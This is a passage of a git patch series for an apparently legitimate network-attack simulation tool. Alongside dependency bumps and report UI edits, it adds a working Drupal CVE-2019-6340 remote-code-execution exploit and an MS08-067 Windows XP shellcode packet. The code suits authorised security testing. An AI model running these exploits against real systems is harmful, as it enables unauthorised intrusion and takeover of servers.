Date: Thu, 27 Aug 2020 19:47:08 +0300
Subject: [PATCH 15/81] renames, formatting and documentation
---
monkey/infection_monkey/exploit/web_rce.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py
index faa183faa..dd51c615d 100644
--- a/monkey/infection_monkey/exploit/web_rce.py
+++ b/monkey/infection_monkey/exploit/web_rce.py
@@ -83,8 +83,8 @@ class WebRCE(HostExploiter):
if not ports:
return False
# Get urls to try to exploit
- urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
- self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
+ potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
+ self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
if not self.vulnerable_urls:
return False
@@ -187,6 +187,7 @@ class WebRCE(HostExploiter):
def build_potential_urls(self, ports, extensions=None):
"""
+ Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
@@ -344,7 +345,6 @@ class WebRCE(HostExploiter):
if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(paths['dest_path'], http_path, commands)
-
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
From 2d48001f7b5986322f5d629ee86fd436e53a5bd5 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:47:38 +0300
Subject: [PATCH 16/81] log exceptions in exploit_host
---
monkey/infection_monkey/exploit/HostExploiter.py | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py
index 50f4167d8..69f0b2fcf 100644
--- a/monkey/infection_monkey/exploit/HostExploiter.py
+++ b/monkey/infection_monkey/exploit/HostExploiter.py
@@ -1,3 +1,4 @@
+import logging
from abc import abstractmethod
from infection_monkey.config import WormConfiguration
@@ -10,6 +11,9 @@ import infection_monkey.exploit
__author__ = 'itamar'
+logger = logging.getLogger(__name__)
+
+
class HostExploiter(Plugin):
@staticmethod
def should_run(class_name):
@@ -67,8 +71,11 @@ class HostExploiter(Plugin):
def exploit_host(self):
self.pre_exploit()
+ result = None
try:
result = self._exploit_host()
+ except Exception as e:
+ logger.warning(f'Exception in exploit_host: {e}')
finally:
self.post_exploit()
return result
From 7fff3b57bc8742abfa06592007996a2143af820c Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Thu, 27 Aug 2020 19:47:59 +0300
Subject: [PATCH 17/81] Drupal server exploit implementation
---
monkey/infection_monkey/exploit/drupal.py | 175 ++++++++++++++++++++++
1 file changed, 175 insertions(+)
create mode 100644 monkey/infection_monkey/exploit/drupal.py
diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py
new file mode 100644
index 000000000..31b7a4cd2
--- /dev/null
+++ b/monkey/infection_monkey/exploit/drupal.py
@@ -0,0 +1,175 @@
+"""
+Remote Code Execution on Drupal server - CVE-2019-6340
+Implementation is based on:
+ https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
+"""
+
+import logging
+import re
+import requests
+from urllib.parse import urljoin, urlparse
+from infection_monkey.exploit.web_rce import WebRCE
+
+__author__ = 'Ophir Harpaz'
+
+LOG = logging.getLogger(__name__)
+
+
+def remove_port(url):
+ parsed = urlparse(url)
+ with_port = f'{parsed.scheme}://{parsed.netloc}'
+ without_port = re.sub(':[0-9]+$', '', with_port)
+ return without_port
+
+
+def build_url(*args) -> str:
+ f = ''
+ for x in args:
+ f = urljoin(f, x)
+ return f
+
+
+def check_drupal_cache(r: requests.Response) -> bool:
+ """
+ Check if a response had the cache header.
+ """
+ return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
+
+
+def find_articles(base_url: str, lower: int = 1, upper: int = 10):
+ """ Find a target article that does not 404 and is not cached """
+ articles = set()
+ while lower < upper:
+ u = build_url(base_url, str(lower))
+ r = requests.get(u)
+ if r.status_code == 200: # found an article
+ articles.add(lower)
+ if check_drupal_cache(r):
+ LOG.info(f'Found a cached article at: {lower}, skipping')
+ lower += 1
+ return articles
+
+
+class DrupalExploiter(WebRCE):
+ _TARGET_OS_TYPE = ['linux', 'windows']
+ _EXPLOITED_SERVICE = 'Drupal Server'
+ DRUPAL_PORTS = [[80, False], [443, True]]
+
+ def __init__(self, host):
+ super(DrupalExploiter, self).__init__(host)
+
+ def get_exploit_config(self):
+ """
+ We override this function because the exploits requires a special extension in the URL, "node",
+ e.g. an exploited URL would be http://172.1.2.3:/node/3.
+ :return: the Drupal exploit config
+ """
+ exploit_config = super(DrupalExploiter, self).get_exploit_config()
+ exploit_config['url_extensions'] = ['node/']
+ return exploit_config
+
+ def add_vulnerable_urls(self, potential_urls, stop_checking=False):
+ """
+ We need a specific implementation of this function in order to add the URLs *with the node IDs*.
+ We therefore check, for every potential URL, all possible node IDs.
+ :param potential_urls: Potentially-vulnerable URLs
+ :param stop_checking: Stop if one vulnerable URL is found
+ :return: None (in-place addition)
+ """
+ for url in potential_urls:
+ node_ids = find_articles(url)
+ if node_ids is None:
+ LOG.info('Could not find a Drupal node to attack')
+ continue
+ for node_id in node_ids:
+ node_url = build_url(url, str(node_id))
+ if self.check_if_exploitable(node_url):
+ self.add_vuln_url(url) # Where is this used?
+ self.vulnerable_urls.append(node_url)
+ if stop_checking:
+ break
+ if not self.vulnerable_urls:
+ LOG.info("No vulnerable urls found")
+
+ def check_if_exploitable(self, url):
+ """
+ Check if a certain URL is exploitable.
+ We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
+ a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
+ :param url: Drupal's URL and port
+ :return: Vulnerable URL if exploitable, otherwise False
+ """
+ payload = {
+ "_links": {
+ "type": {
+ "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
+ }
+ },
+ "type": {
+ "target_id": "article"
+ },
+ "title": {
+ "value": "My Article"
+ },
+ "body": {
+ "value": ""
+ }
+ }
+
+ response = requests.get(f'{url}?_format=hal_json',
+ json=payload,
+ headers={"Content-Type": "application/hal+json"})
+
+ if check_drupal_cache(response):
+ LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
+ return False
+
+ return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
+
+ def exploit(self, url, command):
+ # pad a easy search replace output:
+ cmd = 'echo ---- && ' + command
+ base = remove_port(url)
+ payload = {
+ "link": [
+ {
+ "value": "link",
+ "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
+ "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
+ "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
+ "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
+ "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
+ "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
+ "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
+ "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+ "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
+ }
+ ],
+ "_links": {
+ "type": {
+ "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
+ }
+ }
+ }
+
+ LOG.info(payload)
+
+ r = requests.get(f'{url}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
+
+ if check_drupal_cache(r):
+ LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
+
+ if '----' not in r.text:
+ LOG.info('[warn] Command execution _may_ have failed')
+
+ result = r.text.split('----')[-1]
+ LOG.info(f'Drupal exploit result = {result}')
+ return result
+
+ def get_target_url(self):
+ """
+ We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
+ Reusing the same URL eliminates its exploitability because of caching reasons :)
+ :return: vulnerable URL to exploit
+ """
+ return self.vulnerable_urls.pop()
From 731239f08df424395d4b56165b868e425ab34812 Mon Sep 17 00:00:00 2001
From: VakarisZ
Date: Fri, 28 Aug 2020 09:38:01 +0300
Subject: [PATCH 18/81] Added windows XP support for win_ms08_067.py and fixed
exploited/not exploited logic
---
.../infection_monkey/exploit/win_ms08_067.py | 28 +++++++++++++++++--
1 file changed, 25 insertions(+), 3 deletions(-)
diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py
index d2ad58349..7e26198c6 100644
--- a/monkey/infection_monkey/exploit/win_ms08_067.py
+++ b/monkey/infection_monkey/exploit/win_ms08_067.py
@@ -50,6 +50,23 @@ OBFUSCATED_SHELLCODE = ("\xa9\xb6\x4a\x39\x56\x60\xb5\xba\xf6\xb2\xc0\x19\xc1\x6
SHELLCODE = clarify(OBFUSCATED_SHELLCODE)
+XP_PACKET = ("\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
+ "\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
+ "\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
+ "\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
+ "\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
+ "\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
+ "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
+ "\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
+ "\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
+ "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
+ "\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
+ "\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00")
+
# Payload for Windows 2000 target
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
@@ -82,6 +99,7 @@ PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
class WindowsVersion(IntEnum):
Windows2000 = 1
Windows2003_SP2 = 2
+ WindowsXP = 3
class SRVSVC_Exploit(object):
@@ -91,6 +109,7 @@ class SRVSVC_Exploit(object):
self._port = port
self._target = target_addr
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
+ self.os_version = os_version
def get_telnet_port(self):
"""get_telnet_port()
@@ -129,6 +148,8 @@ class SRVSVC_Exploit(object):
return sock
def _build_dce_packet(self):
+ if self.os_version == WindowsVersion.WindowsXP:
+ return XP_PACKET
# Constructing Malicious Packet
dce_packet = '\x01\x00\x00\x00'
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
@@ -157,7 +178,8 @@ class Ms08_067_Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Microsoft Server Service'
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
- 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
+ 'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
+ 'Windows 5.1': WindowsVersion.WindowsXP}
def __init__(self, host):
super(Ms08_067_Exploiter, self).__init__(host)
@@ -231,7 +253,7 @@ class Ms08_067_Exploiter(HostExploiter):
break
if not remote_full_path:
- return False
+ return True
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
@@ -251,7 +273,7 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send(("net user %s /delete\r\n" % (self._config.user_to_add,)).encode())
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
- return False
+ return True
finally:
try:
sock.close()
From 8db489722980df88e89ebbd06d183a6774788474 Mon Sep 17 00:00:00 2001
From: snyk-bot
Date: Fri, 28 Aug 2020 07:00:52 +0000
Subject: [PATCH 19/81] fix: upgrade snyk from 1.368.0 to 1.369.3
Snyk has created this PR to upgrade snyk from 1.368.0 to 1.369.3.
See this package in npm:
https://www.npmjs.com/package/snyk
See this project in Snyk:
https://app.snyk.io/org/shaynehmad/project/37aecb9c-98b4-4735-95a2-83d941303b4e?utm_source=github&utm_medium=upgrade-pr
---
monkey/monkey_island/cc/ui/package-lock.json | 46 ++++++++++----------
monkey/monkey_island/cc/ui/package.json | 2 +-
2 files changed, 24 insertions(+), 24 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index f17b3ddd3..62de76547 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -1310,9 +1310,9 @@
}
},
"@sindresorhus/is": {
- "version": "3.1.1",
- "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.1.tgz",
- "integrity": "sha512-tLnujxFtfH7F+i5ghUfgGlJsvyCKvUnSMFMlWybFdX9/DdX8svb4Zwx1gV0gkkVCHXtmPSetoAR3QlKfOld6Tw=="
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz",
+ "integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ=="
},
"@snyk/cli-interface": {
"version": "2.8.1",
@@ -1550,9 +1550,9 @@
}
},
"@snyk/java-call-graph-builder": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.12.1.tgz",
- "integrity": "sha512-thaLaqwXYkvVKs1gqmCAB5aFvwp2cz84rFlODr93smG6E8s7U+KNMiiiWq1KjSvbRe3AN8YUENYGyUoGRu9m1w==",
+ "version": "1.12.3",
+ "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.12.3.tgz",
+ "integrity": "sha512-eN32RcCq5J0Veo5NIbDUSb2KRNiVsZMt1w94bFYKxFt6F1tIoiv1CraXdTHSlgQosZ7tw93e8qdOKmQXOtK88Q==",
"requires": {
"@snyk/graphlib": "2.1.9-patch",
"ci-info": "^2.0.0",
@@ -3034,9 +3034,9 @@
}
},
"bl": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.2.tgz",
- "integrity": "sha512-j4OH8f6Qg2bGuWfRiltT2HYGx0e1QcBTrK9KAHNMwMZdQnDZFk0ZSYIpADjYCB3U12nicC5tVJwSIhwOWjb4RQ==",
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz",
+ "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==",
"requires": {
"buffer": "^5.5.0",
"inherits": "^2.0.4",
@@ -3716,9 +3716,9 @@
"integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
},
"clipanion": {
- "version": "2.4.4",
- "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.4.4.tgz",
- "integrity": "sha512-KjyCBz8xplftHjIK/nOqq/9b3hPlXbAAo/AxoITrO4yySpQ6a9QSJDAfOx9PfcRUHteeqbdNxZKSPfeFqQ7plg=="
+ "version": "2.5.0",
+ "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz",
+ "integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw=="
},
"cliui": {
"version": "5.0.0",
@@ -12362,9 +12362,9 @@
}
},
"open": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/open/-/open-7.1.0.tgz",
- "integrity": "sha512-lLPI5KgOwEYCDKXf4np7y1PBEkj7HYIyP2DY8mVDRnx0VIIu6bNrRB0R66TuO7Mack6EnTNLm4uvcl1UoklTpA==",
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/open/-/open-7.2.0.tgz",
+ "integrity": "sha512-4HeyhxCvBTI5uBePsAdi55C5fmqnWZ2e2MlmvWi5KW5tdH5rxoiv/aMtbeVxKZc3eWkT1GymMnLG8XC4Rq4TDQ==",
"requires": {
"is-docker": "^2.0.0",
"is-wsl": "^2.1.1"
@@ -14904,9 +14904,9 @@
}
},
"snyk": {
- "version": "1.368.0",
- "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.368.0.tgz",
- "integrity": "sha512-ZwX0VxxKVBKqmycPiTpx2El1hPEeNJNKQRyez0yFtIlUM3FscsOpgtfRFWNQKA6znkI075JIpmmShpcrQRLpcQ==",
+ "version": "1.369.3",
+ "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.369.3.tgz",
+ "integrity": "sha512-I54pQeG7i/fLQfBQYK+hL/Yr3g9FPuSnVWKroRFdEaB6vfNSRBA2nd3cKPz9iTVm8v72dSZvixsvR6s+7iDi6g==",
"requires": {
"@snyk/cli-interface": "2.8.1",
"@snyk/dep-graph": "1.18.3",
@@ -14935,7 +14935,7 @@
"snyk-go-plugin": "1.16.0",
"snyk-gradle-plugin": "3.5.1",
"snyk-module": "3.1.0",
- "snyk-mvn-plugin": "2.18.0",
+ "snyk-mvn-plugin": "2.18.2",
"snyk-nodejs-lockfile-parser": "1.26.3",
"snyk-nuget-plugin": "1.18.1",
"snyk-php-plugin": "1.9.0",
@@ -15398,12 +15398,12 @@
}
},
"snyk-mvn-plugin": {
- "version": "2.18.0",
- "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.18.0.tgz",
- "integrity": "sha512-ika5I/8G3wDUT7L+3mDIyzh6Xc4bK8sBhcfFnhpFS0WvOMRAdF4kpshfZ1HzFRsRfe/4YgA3T/D7EoJRtu7Aiw==",
+ "version": "2.18.2",
+ "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.18.2.tgz",
+ "integrity": "sha512-A36YmfpeEXGsKoChm644DysKG40d5y5MZnldkpsbrLz37R3JMxkt4igMACZ9QJZAkiWjVs28hOKyyT1vuMPlHg==",
"requires": {
"@snyk/cli-interface": "2.8.1",
- "@snyk/java-call-graph-builder": "1.12.1",
+ "@snyk/java-call-graph-builder": "1.12.3",
"debug": "^4.1.1",
"needle": "^2.5.0",
"tmp": "^0.1.0",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 330050848..e7d2d80d8 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -105,7 +105,7 @@
"react-tooltip-lite": "^1.12.0",
"redux": "^4.0.4",
"sha3": "^2.1.3",
- "snyk": "^1.368.0"
+ "snyk": "^1.369.3"
},
"snyk": true
}
From 60fdf06cfb3750415a71ecfd2a0694e7371f8c7f Mon Sep 17 00:00:00 2001
From: snyk-bot
Date: Fri, 28 Aug 2020 07:00:57 +0000
Subject: [PATCH 20/81] fix: upgrade filepond from 4.19.0 to 4.19.2
Snyk has created this PR to upgrade filepond from 4.19.0 to 4.19.2.
See this package in npm:
https://www.npmjs.com/package/filepond
See this project in Snyk:
https://app.snyk.io/org/shaynehmad/project/37aecb9c-98b4-4735-95a2-83d941303b4e?utm_source=github&utm_medium=upgrade-pr
---
monkey/monkey_island/cc/ui/package-lock.json | 6 +++---
monkey/monkey_island/cc/ui/package.json | 2 +-
2 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index f17b3ddd3..80884057c 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -6028,9 +6028,9 @@
"integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="
},
"filepond": {
- "version": "4.19.0",
- "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.0.tgz",
- "integrity": "sha512-v/lYpu5YXoM5ctNxCaM4LMFedgFcZjp+YSkjJWSUiG+2i79YRuLOS99WWqMWTEdwW5av2AEzDYRp56VR6Qc5aA=="
+ "version": "4.19.2",
+ "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz",
+ "integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w=="
},
"fill-range": {
"version": "4.0.0",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 330050848..2c8f09d97 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -72,7 +72,7 @@
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"file-saver": "^2.0.2",
- "filepond": "^4.19.0",
+ "filepond": "^4.19.2",
"jwt-decode": "^2.2.0",
"lodash": "^4.17.20",
"marked": "^1.1.1",
From 1e259fc13149c62bf4ecf5c3847dbc299865df85 Mon Sep 17 00:00:00 2001
From: ophirharpazg
Date: Sun, 30 Aug 2020 18:04:26 +0300
Subject: [PATCH 21/81] Add a detailed issue to the security report
---
.../cc/services/reporting/report.py | 26 ++-
.../report-components/SecurityReport.js | 206 ++++++++++--------
2 files changed, 132 insertions(+), 100 deletions(-)
diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py
index e7b38b1d9..d60d53dec 100644
--- a/monkey/monkey_island/cc/services/reporting/report.py
+++ b/monkey/monkey_island/cc/services/reporting/report.py
@@ -1,22 +1,25 @@
import functools
+import ipaddress
import itertools
import logging
-
-import ipaddress
-from bson import json_util
from enum import Enum
+from bson import json_util
+
from common.network.network_range import NetworkRange
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
+from monkey_island.cc.network_utils import get_subnets, local_ip_addresses
from monkey_island.cc.services.config import ConfigService
-from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
+from monkey_island.cc.services.configuration.utils import \
+ get_config_network_segments_as_subnet_groups
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.reporting.pth_report import PTHReportService
-from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager
-from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_regular_report
-from monkey_island.cc.network_utils import local_ip_addresses, get_subnets
+from monkey_island.cc.services.reporting.report_exporter_manager import \
+ ReportExporterManager
+from monkey_island.cc.services.reporting.report_generation_synchronisation import \
+ safe_generate_regular_report
__author__ = "itay.mizeretz"
@@ -59,6 +62,7 @@ class ReportService:
PTH_CRIT_SERVICES_ACCESS = 11
MSSQL = 12
VSFTPD = 13
+ DRUPAL = 14
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@@ -623,7 +627,7 @@ class ReportService:
@staticmethod
def get_config_exploits():
- exploits_config_value = ['exploits', 'general', 'exploiter_classes']
+ exploits_config_value = ['basic', 'exploiters', 'exploiter_classes']
default_exploits = ConfigService.get_default_config(False)
for namespace in exploits_config_value:
default_exploits = default_exploits[namespace]
@@ -637,11 +641,11 @@ class ReportService:
@staticmethod
def get_config_ips():
- return ConfigService.get_config_value(['basic_network', 'general', 'subnet_scan_list'], True, True)
+ return ConfigService.get_config_value(['basic_network', 'scope', 'subnet_scan_list'], True, True)
@staticmethod
def get_config_scan():
- return ConfigService.get_config_value(['basic_network', 'general', 'local_network_scan'], True, True)
+ return ConfigService.get_config_value(['basic_network', 'scope', 'local_network_scan'], True, True)
@staticmethod
def get_issues_overview(issues, config_users, config_passwords):
@@ -671,6 +675,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
+ elif issue['type'] == 'drupal':
+ issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
index a3c29f163..d5bfff63a 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js
@@ -161,25 +161,29 @@ class ReportPageComponent extends AuthComponent {
The monkey started propagating from the following machines where it was manually installed:
-
- {this.state.report.overview.manual_monkeys.map(x => - {x}
)}
-
+
+ {this.state.report.overview.manual_monkeys.map(x => - {x}
)}
+
The monkeys were run with the following configuration:
{
this.state.report.overview.config_users.length > 0 ?
-
- Usernames used for brute-forcing:
+ <>
+
+ Usernames used for brute-forcing:
+
- {this.state.report.overview.config_users.map(x => - {x}
)}
+ {this.state.report.overview.config_users.map(x => - {x}
)}
- Passwords used for brute-forcing:
+
+ Passwords used for brute-forcing:
+
- {this.state.report.overview.config_passwords.map(x => - {x.substr(0, 3) + '******'}
)}
+ {this.state.report.overview.config_passwords.map(x => - {x.substr(0, 3) + '******'}
)}
-
+ >
:
Brute forcing uses stolen credentials only. No credentials were supplied during Monkeyβs
@@ -195,7 +199,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey uses the following exploit methods:
- {this.state.report.overview.config_exploits.map(x => - {x}
)}
+ {this.state.report.overview.config_exploits.map(x => - {x}
)}
)
@@ -209,7 +213,7 @@ class ReportPageComponent extends AuthComponent {
The Monkey scans the following IPs:
- {this.state.report.overview.config_ips.map(x => - {x}
)}
+ {this.state.report.overview.config_ips.map(x => - {x}
)}
:
@@ -313,15 +317,15 @@ class ReportPageComponent extends AuthComponent {
The Monkey uncovered the following possible set of issues:
{this.state.report.overview.warnings[this.Warning.CROSS_SEGMENT] ?
- - Weak segmentation - Machines from different segments are able to
+
- Weak segmentation - Machines from different segments are able to
communicate.
: null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
- - Weak segmentation - Machines were able to communicate over unused ports.
: null}
+ - Weak segmentation - Machines were able to communicate over unused ports.
: null}
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
- - Shared local administrator account - Different machines have the same account as a local
+
- Shared local administrator account - Different machines have the same account as a local
administrator.
: null}
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
- - Multiple users have the same password
: null}
+ - Multiple users have the same password
: null}
:
@@ -443,21 +447,22 @@ class ReportPageComponent extends AuthComponent {
}
generateInfoBadges(data_array) {
- return data_array.map(badge_data => {badge_data});
+ return data_array.map(badge_data => {badge_data});
}
generateCrossSegmentIssue(crossSegmentIssue) {
- return
- {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']}
+ let crossSegmentIssueOverview = 'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']
+ return
+ {crossSegmentIssueOverview}
{crossSegmentIssue['issues'].map(x =>
x['is_self'] ?
- -
+
-
{'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']}
:
- -
+
-
